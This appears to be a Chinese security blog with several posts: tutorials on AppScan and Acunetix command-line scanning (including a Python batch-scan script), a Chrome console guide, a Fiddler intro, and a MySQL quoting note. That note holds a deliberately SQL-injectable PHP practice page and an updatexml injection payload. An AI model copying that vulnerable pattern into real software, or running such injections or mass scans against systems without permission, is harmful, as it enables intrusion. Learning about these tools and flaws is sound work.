About AppScan Standard CLI

发布时间:July 25, 2015 // 分类:开发笔记,工作日志,转帖文章,windows,生活琐事 // No Comments

前言

IBM Security AppScan Standard(以下简称 AppScan Standard)是业界一款优秀的 Web 应用安全测试工具。越来越多的机构将之应用到实际开发过程中,并尝试将 AppScan Standard 集成到他们的自动化构建中去。AppScan Standard 自V8.6开始就提供 的 CLI 命令行界面提供了丰富的命令及参数,用户可以很方便地从脚本或者批处理文件中控制 AppScan Standard,轻松实现将 AppScan Standard 集成到自动构建中去。

 

AppScan Standard CLI 命令简介

AppScan Standard 安装完成后,会在系统变量 "PATH" 中增加 AppScan Standard 的安装根目录(譬如 C:\Program Files (x86)\IBM\Rational AppScan\)。AppScan Standard CLI 命令 AppScanCMD.exe 即存在于 AppScan 的安装根目录中。因此用户打开 DOS 命令窗口,即可以执行 AppScan Standard 的 CLI 命令。

AppScanCMD.exe
以下参数中至少缺失一个:base_scan, starting_url, scan_template, manual_explore_file = ''
Program Usage:

AppScanCMD exec|ex|e

        Parametrs:
        [ /starting_url|/surl|/su <http://demo.testfire.net> ]
        [ /dest_scan|/dest|/d <full_path> ]
        [ /base_scan|/base|/b <full_path> ]
        [ /old_host|/ohost|/oh <http://demo.testfire.net> ]
        [ /new_host|/nhost|/nh <http://testing.testfire.net> ]
        [ /scan_template|/stemplate|/st <full_path> ]
        [ /login_file|/lfile|/lf <full_path> ]
        [ /multi_step_file|/mstepfile|/mf <full_path> ]
        [ /manual_explore_file|/mexplorefile|/mef <full_path> ]
        [ /policy_file|/pfile|/pf <full_path> ]
        [ /additional_domains|/adomains|/ad <demo.testfire.net123> ]
        [ /report_file|/rf <full_path> ]
        [ /report_type|/rt <Xml,Pdf,Rtf,Txt,Html,rc_ase> {xml} ]
        [ /min_severity|/msev <Informational,Low,Medium,High> {informational} ]
        [ /test_type|/tt <All,Application,Infrastructure,ThirdParty>]

        Flags:
        [ /verbose|/v {false} ]
        [ /scan_log|/sl {false} ]
        [ /explore_only|/eo {false} ]
        [ /test_only|/to {false} ]
        [ /multi_step|/mstep|/ms {false} ]
        [ /continue|/c {false} ]

        可通过 base_scan 配置、保存 dest_scan 和创建报告来创建新的扫描,如果已配置的话。


AppScanCMD report|rep|r

        Parametrs:
        /base_scan|/base|/b <full_path>
        /report_file|/rf <full_path>
        [ /report_type|/rt <Xml,Pdf,Rtf,Txt,Html,rc_ase> {xml} ]
        [ /min_severity|/msev <Informational,Low,Medium,High> {informational} ]
        [ /test_type|/tt <All,Application,Infrastructure,ThirdParty> ]

        Flags:
        [ /verbose|/v {false} ]

        创建 base_scan 报告。


AppScanCMD help|h

        打印用途。

AppScan Standard CLI 命令调用比较简单,主要包括三个部分:CLI 命令 + CLI 子命令 + 子命令参数。ACLI 命令包括三个子命令:Exec,Report,Help。下面列出三个子命令的功能和详细参数。

  • Exec 命令

Exec 命令会使用指定的起始 URL 创建新扫描,运行和保存此扫描。同时还可以使用它来生成和保存扫描的报告。如果没有指定 CLI 子命令,缺省模式下将会运行 exec 命令。

表 1. Exec 命令参数
参数 说明
/starting_url 设置扫描的起始 URL。起始 URL 也可以在 /base_scan 或者 /scan_template 中指定。starting_url 参数会覆盖前两者参数中的起始 URL。
/base_scan 设置源扫描文件(必须包含完整路径),新建扫描文件将使用该源扫描文件中的扫描配置。
/dest_scan 设置新扫描文件的保存位置(必须包含完整路径)。此参数若未设置的话,AppScanCMD 会把新扫描文件保存到 Temp 文件夹,并提示新扫描文件的完整路径。
/scan_template 设置扫描模板文件,新建扫描文件将使用该模板文件中的扫描配置。
/old_host
/new_host
/old_host 跟 /new_host 配合使用,新扫描文件将会用 new_host 来替换扫描中所有的 old_host 路径。这个参数非常有利于脚本重用,譬如 FVT 阶段的 AppScan 脚本即可通过这种方式重用到 UAT 环境中。
/login_file 指定新扫描文件需导入的登录序列。
/multi_step_file 指定新扫描文件需导入的多步骤文件
/manual_explore_file 指定新扫描文件需导入的手工探索文件。
/policy_file 指定新扫描文件所使用的测试策略文件。
/additional_domains 指定新扫描文件在扫描中包含的、除起始 URL 之外的域。如果有多个域,建议用分号将它们分隔。
/report_file 设定新扫描文件需生成的报告名称和路径(必须包括完整路径)。
/report_type 设定报告格式。支持 <xml|pdf|rtf|txt|html|rc_ase> 六种报告格式,缺省值为 XML。rc_ase 指的是 AppScan Enterprise 报告,使用时需保证设置好 AppScan Enterprise 的连接参数。
/min_severity 指定要在报告中包含的最低结果严重性(仅适用于非 XML 报告),支持四种严重性 <low|medium|high|informational>,缺省值为 low。
/test_type 指定要在报告中包含哪些类型的测试,支持四大类型 <All|Application|Infrastructure|ThirdParty>,缺省值为 All。
/verbose 包含此标志,则在输出中包含进度行。
/scan_log 包含此标志,则在扫描时显示扫描日志。
/explore_only 包含此标志,则仅运行"探索"阶段。
/test_only 包含此标志,则仅运行"测试"阶段。
/multi-step 包含此标志,则仅测试多步骤操作。
/continue 包含此标志,则继续扫描 base_scan 文件。
  • Report 命令

Report 命令用来载入指定的扫描文件,生成对应的报告。Report 命令参数主要有 /base_scan,/report_file,/report_type,/min_severity,/test_type 这五项,用法和功能跟 Exec 命令中的同名参数相同。本文不再赘述。

  • Help 命令

Help 命令用以帮助熟悉 CLI 的命令用法。Help 命令没有参数。

AppScan Standard CLI 命令在执行完成中会输出退出状态代码,用以表示操作是否成功,如果不成功还通过退出状态代码提示错误内容。

表 2. CLI 命令退出代码表
代码 意义
0 成功完成
1 AppScan 启动失败
2 命令行错误
3 许可证无效
4 装入失败
5 扫描失败
6 报告失败
7 保存失败
8 常见错误

看到这里,相信已经对 AppScan 的 CLI 命令已经了然于心。AppScan Standard CLI 命令非常直观明了。但我们也看到 Exec 命令有很多参数,究竟什么情况下该用哪些参数?采用 base_scan 还是采用 starting_url 和 scan_template 等参数?什么样的脚本重用性更好,更适合使用 AppScan Standard CLI 来集成?

appscancmd也跟wvs_console一样直接用命令行选项来设置扫描参数,appscancmd的扫描必须基于一个base_scan,目的就是为了读取扫描参数。所以在使用appscancmd之前我们必须通过GUI来创建一个base_scan。创建base_scan跟在GUI下新建一个扫描任务是一样的,唯一区别在“扫描配置向导”的最一步选择“我将稍后启动扫描”,然后保存扫描到文件。

完成配置,保存结果文件,最后退出appscan的GUI。

然后调用appscancmd来进行扫描

AppScanCMD exec /e /b D:\我的文档\Documents\AppScan\tianya8.scan /d D:\我的文档\Documents\AppScan\tianya8.scan /rt pdf /rf d:\tian.pdf

/e exec执行扫描任务
/b base_scan appscancmd无法同wvs_console一样直接用命令行选项来设置扫描参数,appscancmd的扫描必须基于一个base_scan,目的就是为了读取扫描参数。所以在使用appscancmd之前我们必须通过GUI来创建一个base_scan。创建base_scan跟在GUI下创建一个扫描是一样的,唯一区别在“扫描配置向导”的最一步选择“我将稍后启动扫描”,然后保存扫描。示例中我的base_scan保存为D:\Appscan\Basescan\www.scan
/d dest_scan 根据base_scan新生成扫描目标。
/rt report_type 生成报告类型。
/rf    report_file 生成报告

不过整个玩意老吃内存了

常用 AppScan Standard CLI 命令

快速开发过程中,我们往往按照故事(Store)为单元进行开发。实际工作中往往会为每个故事录制 AppScan Standard 的测试脚本,一旦某个故事实现并部署到 FVT(Function Verification Test)环境后,我们会将录制好的该故事的测试脚本加入到集成测试中。在不同迭代(Sprint)阶段,我们会为新增加的故事录制新的测试脚本。在前期的几个迭代阶段,一般仅执行新增故事的安全测试。在最后的几个迭代阶段内,会执行前面阶段所录制的全部测试脚本。FVT 测试完成后系统迁移到 UAT(User Acceptance Test)环境后,还会再次执行全部测试脚本。为了更好地保证系统的安全性,UAT 测试阶段还会由其他安全测试团队对系统再进行一次完整安全测试。

可以看出,整个开发阶段安全测试任务比较多,如果每次都打开图形界面去录制脚本进行安全测试,这个工作量将会比较大。因此实际工作中比较注重测试脚本的重用性。提高脚本重用性主要通过以下几种方式:

  • 将通用的扫描配置导出为 .scant 模板,譬如“环境定义”、“探索选项”、“定制参数”、“错误页面”、“通信和代理”、“测试选项”等。
  • 将定制好的测试策略导出为 .policy 文件,通常将测试测罗分为几组,如“应用程序”、“基础结构”、“侵入性”等。在 FVT 阶段侧重测试应用程序漏洞,在 UAT 阶段侧重测试基础结构及侵入性测试。
  • 将录制好的登录脚本导出 .login 文件。一般建议在登录脚本中使用公用测试帐号,如果绑定了个人帐号,建议各人采用各自的登录脚本,以便个人帐号信息泄漏。
  • 将各个故事对应的测试脚本导出 .exd 文件。
  • 将多步骤操作序列导出为 .seq 文件。

基于以上重用性原则,笔者通常会为系统定制好扫描模板,录制登录脚本,手工探索各个故事的操作过程导出为 .exd 文件(测试策略通常建议由公司层面统一规范)。然后通过 CLI 命令执行以上测试脚本。以下是常用的几个 CLI 命令。

清单 1. 针对某故事的测试命令
AppScanCMD exec /starting_url http://sampleFVT.com/store1 /scan_template mytemplate.scant
 /policy_file c:/scan_scripts/itcs104.policy /login_file jeremy.login 
 /manual_explore_file c:/scan_scripts/store1.exd /test_only 
 /report_file c:/scan_scripts/store1_report.pdf /report_type pdf

清单 1 命令中的 starting_url 设置了该故事的起始 URL;scan_template 设置了全局通用的扫描配置选项,譬如基于参数导航的设置、通信超时设置等;policy_file 指定了测试策略;login_file 指定了当前测试人员自己的登录序列;manual_explore_file 指定了针对该故事所录制并导出的探索脚本;test_only 限定 AppScan 仅测试该故事,不要自行探测其他 URL;report_file 和 report_type 用来设定输出测试报告。

通过清单 1 可以看出,这种测试方法下脚本能够最大化重复利用,譬如登录脚本、模板等;其次,这种测试方法效率较高,仅集中测试该故事所包括的 URL;同时由于脚本都拆开后,可维护性也较好,如果该故事的 URL 有变化,仅需要重新录制探测脚本即可以,或者直接手工编辑 .exd 文件;此外,这个测试脚本可以重复执行,这个命令可以通过批处理文件、Junit、Ant 等集成起来重复调用。

清单 2. 多步骤操作的测试命令
AppScanCMD exec /scan_template mytemplate.scant /policy_file itcs104.policy 
 /login_file jeremy.login /multi_step_file c:/scan_scripts/multistepscenario.seq 
 /multi-step /report_file c:/scan_scripts/store1_report.pdf /report_type pdf

清单 2 命令中的 scan_template 设置了全局通用的扫描配置选项;policy_file 指定了测试策略;login_file 设置了当前测试人员自己的登录序列;multi_step_file 设定了多步骤操作序列;multi-step 标志限定 AppScan 仅测试多步骤操作,不再去探索其他 URL;report_file 和 report_type 用来设定输出测试报告。

清单 3. UAT 环境的测试命令
AppScanCMD exec /starting_url http://sampleUAT.com/store1 /scan_template mytemplate.scant
 /old_host http://sampleFVT.com /new_host http://sampleUAT.com 
 /policy_file c:/scan_scripts/itcs104.policy /login_file jeremy.login 
 /manual_explore_file c:/scan_scripts/store1.exd /test_only 
 /report_file c:/scan_scripts/store1_report.pdf /report_type pdf

通常 FVT 阶段完成后,会利用 new_host 和 old_host 命令来重用 FVT 环境的 AppScan 测试脚本进行 UAT 环境的安全测试。譬如清单 3 所示,相比于清单 1 增加了“/old_host http://sampleFVT.com /new_host http://sampleUAT.com”,AppScan 即可以自动将探索和测试阶段的“sampleFVT.com”域名替换为“sampleUAT.com”域名。非常酷的特性,目前只有 CLI 模式下才能使用该特性,图形界面下暂不支持这功能。

About Acunetix WVS Console

发布时间:July 24, 2015 // 分类:开发笔记,工作日志,运维工作,python,windows,生活琐事 // 6 Comments

今天看到一个大牛在弄一个基于windows和linux下各自扫描器的分布式的系统。由于不同的扫描工具,所运行的环境有所不同,导致我们的扫描系统有必要兼容不同的系统。比如hydra, openvas等工具,它们是比较适合运行在Linux上,而WVS,appscan等工具是运行在Windows上,所以我们有必要同时兼容这两大类系统。如果再深入一点,Linux也分为很多种不同的系统,比如CentOS, Ubuntu,Redhat等,而且即便相同的系统,内核版本不同的话,运行环境也是有很大的区别。

然而今天思考的问题是在windows下进行的AWVS扫描。主要调用了Awvs的命令行wvs_console.exe

>> USAGE: wvs_console /Scan [URL]  OR  /Crawl [URL]  OR  /ScanFromCrawl [FILE]
                      OR  /ScanWSDL [WSDL URL]

>> PARAMETERS                                                                        //参数
       /Scan [URL]               : Scan specified URL                                //扫描特定的URL
       /Crawl [URL]              : Crawl specified URL                               //检索指定的url
       /ScanFromCrawl [FILE]     : Scan from crawling results                        //扫描检索的结果
       /ScanWSDL [WSDL URL]      : Scan web services from WSDL URL                   //扫描来自wsdl的参数URL

       /Profile [PROFILE_NAME]   : Use specified scanning profile during scanning    //使用指定的扫描配置进行扫描
       /Settings [FILE]          : Use specified settings template during scanning   //使用指定的设置模板进行扫描
       /LoginSeq [FILE]          : Use specified login sequence                      //使用指定的登录序列
       /Import [FILE(s)]         : Import files during crawl                         //导入检索的地址进行爬行
       /Run [command line]       : Run this command during crawl                     //
       /Selenium [FILE]          : Execute selenium script during crawl              //执行selenium脚本进行爬行

       /Save                     : Save scan results                                 //保存结果
       /SaveFolder [DIR]         : Specify the folder were all the saved data will be stored //保存记录的目录
       /GenerateZIP              : Compress all the saved data into a zip file       //对所有的数据进行zip压缩
       /ExportXML                : Exports results as XML                            //将结果以XML方式导出
       /ExportAVDL               : Exports results as AVDL                           //将结果以AVDL方式导出
       /SavetoDatabase           : Save alerts to the database                       //把警告数据保存进数据库
       /SaveLogs                 : Save scan logs                                    //保存扫描日志
       /SaveCrawlerData          : Save crawler data (.CWL file)                     //保存检索(爬行)数据
       /GenerateReport           : Generate a report after the scan was completed    //扫描完成后生成报告
       /ReportFormat [FORMAT]    : Generated report format (REP, PDF, RTF, HTML)     //生成报告的格式
       /ReportTemplate [TEMPLATE]: Specify the report template                       //特定的报告模板
       /Timestamps               : Print current timestamp with each line.           //打印每行的时间戳
       /SendEmail                : Send email notification when scan is completed, using scheduler settings. //扫描结束后发送电子邮件
       /EmailAddress [EMAIL]     : Send email notification to this email address, override scheduler settings. //邮件地址会把之前设置的给覆盖掉

       /Verbose                  : Enable verbose mode                               //开启细节模式。也就是发送的具体参数
       /Password                 : Application password (if required)                //如果有需要写入密码
       /?                        : Show this help screen                             //没得说,帮助

>> OPTIONS [ ? = TRUE or FALSE ]                                                   //选项  =true 或者是=false
       --GetFirstOnly=?          : Get only the first URL                            //仅仅获取第一个url
       --RestrictToBaseFolder=?  : Do not fetch anything above start folder          //不扫描当前目录以上的其他目录(扫描二级目录有效)
       --FetchSubdirs=?          : Fetch files bellow base folder                    //
       --ForceFetchDirindex=?    : Fetch directory indexes even if not linked        //扫描目录,即使该目录不再链接里面(就是目录匹配)
       --RobotsTxt=?             : Retrieve and process robots.txt                   //从robots.txt里面获取目录进行爬行
       --CaseInsensitivePaths=?  : Use case insensitive paths                        //
       --UseWebKit=?             : Use WebKit based browser for discovery            //使用基于WebKit的浏览器
       --ScanningMode=*          : Scanning mode (* = Quick, Heuristic, Extensive)   //扫描模式(快速、启发式、广泛的)
       --ManipHTTPHeaders=?      : Manipulate HTTP headers                           //http头可以修改(个人暂时理解为可以修改http头进行提交)
       --UseAcuSensor=?          : Use AcuSensor technology                          //使用AcuSensor 技术(不明所以)
       --EnablePortScanning=?    : Enable port scanning                              //启用端口扫描
       --UseSensorDataFromCrawl=*: Use sensor data from crawl(* = Yes, No, Revalidate) //抓取fuzz提交的数据( = 是,否,重新验证)
       --HtmlAuthUser=?          : Username for HTML based authentication            //基于HTTP认证的用户名
       --HtmlAuthPass=?          : Password for HTML based authentication            //基于HTTP认证的密码
       --ToolTimeout=?           : Timeout for testing tool in seconds               //设置提交的超时时间

>> EXAMPLES
wvs_console /Scan http://testphp.vulnweb.com  /SaveFolder c:\temp\scanResults\ /Save
wvs_console /ScanWSDL http://test/WS.asmx?WSDL /Profile ws_default /Save
wvs_console /Scan http://testphp.vulnweb.com /Profile default /Save --UseWebKit=false --ScanningMode=Heuristic]]

那么扫描的命令我就这样子使用了

wvs_console.exe /Scan http://testphp.vulnweb.com /Profile ws_default /save /savetodatabase --GetFirstOnly=false --FetchSubdirs=true --Re
strictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --Us
eAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false
--ManipHTTPHeaders=true

既然如此,那么批量扫描也是就是顺理成章的事情了

#!/usr/bin/python
# coding: UTF-8
'''
wvs_console 批量扫描脚本
'''

import sys,os,time

urllist = r'd:\\urllist.txt'    #需扫描网站列表文件
savefolder = r'd:\\result\\'    #扫描结果保存路劲
wvs_console = r'F:\\"Program Files (x86)"\\Acunetix\\"Scanner 10"\\wvs_console.exe' #wvs_console路径


def scan(url,folder):
    if 'http' in url:
        name = url.split('//')[1].replace('/','')
        url = url
    else:
        name = url.replace('\n','')
        url = 'http://'+url
    name = name.replace('\n','')
    url = url.replace('\n','')
    if name in os.listdir(folder):
        print '%s has scaned'%name
    else:
#       os.system('%s'%wvs_console)
        os.system('%s /Scan %s /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true'%(wvs_console,url,folder,name))



if __name__ == '__main__':
    if not os.path.exists(urllist):
        print r'需扫描的网站文件不存在'
    if os.path.exists(savefolder) == False:
        os.mkdir(savefolder)
    for i in open(urllist):
        scan(i,savefolder)

再然后就是对数据的处理上来了

默认保存的位置为:C:\ProgramData\Acunetix WVS 10\Data\Database\vulnscanresults.mdb

Awvs扫描结果数据库中有一个Wvs_scans表,保存的都是扫描过的url,以及扫描开始时间和结束时间。可以将当天下载的url保存到一个list中,然后在扫描之前先将之前所有扫描过的URL查询出来,同样保存在list中,读取list中的url,判断是否在扫描过的URL list中,如果存在将之从url list中删除掉;如果不存在则再进行扫描。

Awvs会自动将扫描结果保存到本地的access数据库中,具体的表是Wvs_alerts,也可以设置保存到Mssql数据库中,具体的是在Application Setting进行设置。结果入库模块的功能是从access数据库筛选出危害等级大于0的漏洞。然后用正则表达式对request中的host,漏洞文件,get或post提交的请求进行筛选拼凑,获取到完整的漏洞测试url。

其实可以发现:需要的东西都是保存到WVS_alerts

severity为危害等级,分为0,1,2,3分别是无影响,低位,中危,高危

algroup 为漏洞的类型

affects 为漏洞文件

根据某个这些思路。大约可以这么定义

 conn = win32com.client.Dispatch(r'ADODB.Connection')
    DSN = 'PROVIDER=Microsoft Access Driver (*.mdb, *.accdb)'
    conn.Open('awvs')
    cur=conn.cursor()
    rs = win32com.client.Dispatch(r'ADODB.Recordset')
 
    rs.Open('[WVS_alerts]', conn, 1, 3) 
    if rs.recordcount == 0:
        exit()
    #遍历WVS_alerts所有的结果,cmp进行筛选危害等级为3的,也就是高危
    while not rs.eof:
        severity = str(rs('severity'))
        if cmp('3', severity):
            rs.movenext
            continue
        vultype = rs('algroup')
        vulfile=rs('affects')
        #由于mysql库中要求的漏洞类型和access的名称有点差别,所以还需要对漏洞类型和危害等级进行二次命名,sql注入和xss为例
        xss='Cross site'
        sqlinject='injection'
        if xss in str(vultype):
            vultype='XSS'
            level='低危'
        elif sqlinject in str(vultype):
            vultype="SQL注入"
            level='高危'
        else:
            level='中危'
        #拼凑出漏洞测试url,用了正则表达式, post和get类型的request请求是不同的
        params = rs('parameter')
        ss = str(rs('request'))
        str1 = ss[0:4]
 
        if 'POST'== str1:
            requestType = 'POST'
            regex = 'POST (.*?) HTTP/1\.\d+'
            str1 = re.findall(regex, ss);
        else:
            requestType = 'GET'
            regex = 'GET (.*?) HTTP/1\.\d+'
            str1 = re.findall(regex, ss);
        regex = 'Host:(.*?)\r\n'
        host = re.findall(regex, ss);
        if host == []:
            host = ''
        else:
            host = host[0].strip()
        if str1 == []:
            str1 = ''
        else:
            str1 = str1[0]
        url =host + str1
        timex=time.strftime('%Y-%m-%d',time.localtime(time.time()))

晚上到家,重新装了office里面的套件.access,重新打开mdb数据库。然后重新思考了下整个流程

1.用户输入网址进行扫描
 

os.system('%s /Scan %s /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true'%(wvs_console,url,folder,name))

然后会根据url会在WVS_scans创建一个scid。同时写入当前创建的时间。结束后写入结束的时间

result = "select scid,starttime,finishtime from WVS_scans where starturl="+%d (url)
id=result[scid]
start = result[starttime]
end = result[finishtime]

耗时:time = end -start

再根据scid来查询WVS_alerts里面的信息

result1 = select severity,algroup,affects,parameter,request from WVS_alerts where severity>0 and scid=result[scid]

漏洞级别 result1[severity]
漏洞类型 result1[algroup]
具体文件 result1[affects]
问题参数 result1[parameter]
请求过程 result1[request]

再把相关的数据整合就好了

#!/usr/bin/python
#-*- coding: utf-8 -*-
#Author:saline
#Email:nophacker@gmail.com
import pypyodbc

connection_string = 'Driver={Microsoft Access Driver (*.mdb)};DBQ=D:\\phpStudy\\WWW\\vulnscanresults.mdb'
connection = pypyodbc.connect(connection_string)
#使用Access的ODBC连接字符串,通过pypyodbc模块获得一个可以连接到vulnscanresults.mdb数据库的ODBC连接对象connection:
cur = connection.cursor()
#并从这个连接对象中,获取一个数据库操作游标cur:
sql='select scid,starttime,finishtime from WVS_scans where scid =1'
cur.execute(sql)
#首先,传递SQL查询语句至Access数据库:
for row in cur.fetchall():
    id =row[0]
    start = row[1]
    end = row[2]
    time = end -start
    print '消耗的时间为:'+ str(time)
    sql1 = 'select alid,algroup,severity,affects,parameter,request from WVS_alerts where severity>0 and scid=%d'%(id)
    cur.execute(sql1)
    for raw in cur.fetchall():
        print '第'+str(raw[0]+1)+'问题'
        print raw[1]
        print '危害等级:'+str(raw[2])
        print raw[3]
        print raw[4]
        print raw[5]

connection.close()

至此,一个简单的demo已经完成了。虽然是一些片段

一个MYSQL的单引号特性

发布时间:July 22, 2015 // 分类:工作日志,PHP,代码学习,生活琐事,代码审计 // No Comments

下午在学习审计的时候。想写一个sql注射的来练练手

<?php
$id=@$_REQUEST['id'];
if(!$conn = @mysql_connect("localhost","root","root"))
    die;
    //$getid = "SELECT first_name, last_name FROM dvwa.users WHERE user_id = '$id'";
    $getid = "SELECT first_name, last_name FROM dvwa.users WHERE user_id = ".$id;
    //echo $getid;
    $result = mysql_query($getid,$conn); // Removed 'or die' to suppres mysql errors
    //var_dump($result);
    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
    //利用@屏蔽了输出的错误信息。所以只能是盲注了
    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';
        echo $html;
        $i++;
    }
?>

然后用MYSQL监控的发现两个语句得到的结果是不一样的

然后各自丢到mysql里面去执行发现结果还真的不一样

后来darksn0w大大告诉我

MYSQL里面的引号里面,是常量。后面的非法字符会被舍弃。

赶脚和php的机制一样,又字符串朝整型转换的时候,会从前到后转换直到遇到第一个非法字符,保留前面的部分。

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1 and updatexml(1,concat(0x7e,(version())),0)'

实际就是:
 

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1'

神奇的单引号。是不是可以考虑用于过滤sql注入呢?

Chrome 控制台console的用法

发布时间:July 19, 2015 // 分类:工作日志,linux,转帖文章,windows,生活琐事 // No Comments

大家都有用过各种类型的浏览器,每种浏览器都有自己的特色,本人拙见,在我用过的浏览器当中,我是最喜欢Chrome的,因为它对于调试脚本及前端设计调试都有它比其它浏览器有过之而无不及的地方。可能大家对console.log会有一定的了解,心里难免会想调试的时候用alert不就行了,干嘛还要用console.log这么一长串的字符串来替代alert输出信息呢,下面我就介绍一些调试的入门技巧,让你爱上console.log

先的简单介绍一下chrome的控制台,打开chrome浏览器,按f12就可以轻松的打开控制台

大家可以看到控制台里面有一首诗还有其它信息,如果想清空控制台,可以点击左上角那个来清空,当然也可以通过在控制台输入console.clear()来实现清空控制台信息。如下图所示

现在假设一个场景,如果一个数组里面有成百上千的元素,但是你想知道每个元素具体的值,这时候想想如果你用alert那将是多惨的一件事情,因为alert阻断线程运行,你不点击alert框的确定按钮下一个alert就不会出现。

下面我们用console.log来替换,感受一下它的魅力。

看了上面这张图,是不是认识到log的强大之处了,下面我们来看看console里面具体提供了哪些方法可以供我们平时调试时使用。

目前控制台方法和属性有:

 

下面我们来一一介绍一下各个方法主要的用途。

一般情况下我们用来输入信息的方法主要是用到如下四个

1、console.log 用于输出普通信息

2、console.info 用于输出提示性信息

3、console.error用于输出错误信息

4、console.warn用于输出警示信息

5、console.debug用于输出调试信息

用图来说话

console对象的上面5种方法,都可以使用printf风格的占位符。不过,占位符的种类比较少,只支持字符(%s)、整数(%d或%i)、浮点数(%f)和对象(%o)四种

console.log("%d年%d月%d日",2011,3,26);
console.log("圆周率是%f",3.1415926);

%o占位符,可以用来查看一个对象内部情况

var dog = {};
dog.name = "大毛";
dog.color = "黄色";
console.log("%o", dog);

6、console.dirxml用来显示网页的某个节点(node)所包含的html/xml代码

<body>
    <table id="mytable">
        <tr>
            <td>A</td>
            <td>A</td>
            <td>A</td>
        </tr>
        <tr>
            <td>bbb</td>
            <td>aaa</td>
            <td>ccc</td>
        </tr>
        <tr>
            <td>111</td>
            <td>333</td>
            <td>222</td>
        </tr>
    </table>
</body>
<script type="text/javascript">
    window.onload = function () {
        var mytable = document.getElementById('mytable');
        console.dirxml(mytable);
    }
</script>

7、console.group输出一组信息的开头

8、console.groupEnd结束一组输出信息

看你需求选择不同的输出方法来使用,如果上述四个方法再配合group和groupEnd方法来一起使用就可以输入各种各样的不同形式的输出信息。

哈哈,是不是觉得很神奇呀!

9、console.assert对输入的表达式进行断言,只有表达式为false时,才输出相应的信息到控制台

 

10、console.count(这个方法非常实用哦)当你想统计代码被执行的次数

11、console.dir(这个方法是我经常使用的 可不知道比for in方便了多少) 直接将该DOM结点以DOM树的结构进行输出,可以详细查对象的方法发展等等

12、console.time 计时开始

13、console.timeEnd  计时结束(看了下面的图你瞬间就感受到它的厉害了)

14、console.profileconsole.profileEnd配合一起使用来查看CPU使用相关信息

在Profiles面板里面查看就可以看到cpu相关使用信息

15、console.timeLineconsole.timeLineEnd配合一起记录一段时间轴

16、console.trace  堆栈跟踪相关的调试

上述方法只是我个人理解罢了。如果想查看具体API,可以上官方看看,具体地址为:https://developer.chrome.com/devtools/docs/console-api

 

下面介绍一下控制台的一些快捷键

1、方向键盘的上下键,大家一用就知晓。比如用上键就相当于使用上次在控制台的输入符号

2、$_命令返回最近一次表达式执行的结果,功能跟按向上的方向键再回车是一样的

上面的$_需要领悟其奥义才能使用得当,而$0~$4则代表了最近5个你选择过的DOM节点。

什么意思?在页面右击选择审查元素,然后在弹出来的DOM结点树上面随便点选,这些被点过的节点会被记录下来,而$0会返回最近一次点选的DOM结点,以此类推,$1返回的是上上次点选的DOM节点,最多保存了5个,如果不够5个,则返回undefined

3、Chrome 控制台中原生支持类jQuery的选择器,也就是说你可以用$加上熟悉的css选择器来选择DOM节点

4、copy通过此命令可以将在控制台获取到的内容复制到剪贴板

(哈哈 刚刚从控制台复制的body里面的html可以任意粘贴到哪 比如记事本  是不是觉得功能很强大)

5、keys和values 前者返回传入对象所有属性名组成的数据,后者返回所有属性值组成的数组

说到这,不免想起console.table方法了

 

 

6、monitor & unmonitor

monitor(function),它接收一个函数名作为参数,比如function a,每次a被执行了,都会在控制台输出一条信息,里面包含了函数的名称a及执行时所传入的参数。

而unmonitor(function)便是用来停止这一监听。

看了这张图,应该明白了,也就是说在monitor和unmonitor中间的代码,执行的时候会在控制台输出一条信息,里面包含了函数的名称a及执行时所传入的参数。当解除监视(也就是执行unmonitor时)就不再在控制台输出信息了。

$ // 简单理解就是 document.querySelector 而已。
$$ // 简单理解就是 document.querySelectorAll 而已。
$_ // 是上一个表达式的值
$0-$4 // 是最近5个Elements面板选中的DOM元素,待会会讲。
dir // 其实就是 console.dir
keys // 取对象的键名, 返回键名组成的数组
values // 去对象的值, 返回值组成的数组

下面看一下console.log的一些技巧

1、重写console.log 改变输出文字的样式

2、利用控制台输出图片

3、指定输出文字的样式

最后说一下chrome控制台一个简单的操作,如何查看页面元素,看下图就知道了

你在控制台简单操作一遍就知道了,是不是觉得很简单!

Fiddler调式使用知多少

发布时间:July 16, 2015 // 分类:工作日志,转帖文章,windows,生活琐事 // No Comments

 

Fiddler的基本概念:

     Fiddler是一款基于windows系统的代理服务器软件,本地运行的程序,比如web浏览器及其他客户端的应用程序,可以把http和https请求发送给Fiddler,Fiddler通常把这些请求转发给web服务器,服务器将这些请求的响应返回给Fiddler,Fiddler再把响应转发给客户端。

      Fiddler 是以代理web服务器的形式工作的,它使用代理地址:127.0.0.1, 端口:8888. 当Fiddler会自动设置代理, 退出的时候它会自动注销代理,这样就不会影响别的程序。如果Fiddler非正常退出,这时候因为Fiddler没有自动注销,会造成网页无法访问。解决的办法是重新启动下Fiddler即可。

 

安装Fiddler

     安装Fiddler之前需要安装.net framework, 我目前的安装的是Fiddler4,所以我下载安装的是.net framework4,如下所示:

安装Fiddler和安装一般的软件没有什么区别,这里就不介绍~~;

 

了解下Fiddler用户界面

我这边是Fiddler4的界面如下:

在fiddler中web session界面中捕获到http请求如下所示:

Web session列表兰中包含了一些信息如下:

 

理解不同图标和颜色的含义(下面是常见的):

 

web session的常用的快捷键

CTRL+A: 选中所有的session;

ESC:  取消选中所有的session;

